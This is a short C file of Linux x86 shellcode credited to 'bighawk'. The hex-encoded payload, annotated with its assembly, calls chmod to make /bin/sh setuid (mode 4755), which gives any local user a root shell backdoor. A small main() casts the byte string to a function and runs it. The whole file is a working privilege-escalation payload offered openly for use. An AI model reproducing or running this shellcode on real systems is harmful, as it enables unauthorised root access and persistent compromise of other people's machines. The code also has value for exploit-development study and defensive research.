/* 22 bytes chmod 4755 /bin/sh shellcode - linux-x86
 * - by bighawk (bighawk@warfare.com)
 *
 * Thanks to fi for the idea :)
 */

char code[] =

   "\x99"			// cdq 
   "\x52"			// push   edx
   "\x68\x6e\x2f\x73\x68"	// push	  dword 68732f6eh	; "hs/n"
   "\x68\x2f\x2f\x62\x69"	// push   dword 69622f2fh	; "ib//"
   "\x89\xe3"			// mov	  ebx, esp
   "\x66\xb9\xed\x09"		// mov    cx, 9edh		; mode 4755
   "\xb0\x0f"			// mov	  al, 0fh		; SYS_chmod		
   "\xcd\x80";			// int	  80h


main() {
  void (*a)() = (void *)code;
  printf("size: %d bytes\n", strlen(code));
  a();
}
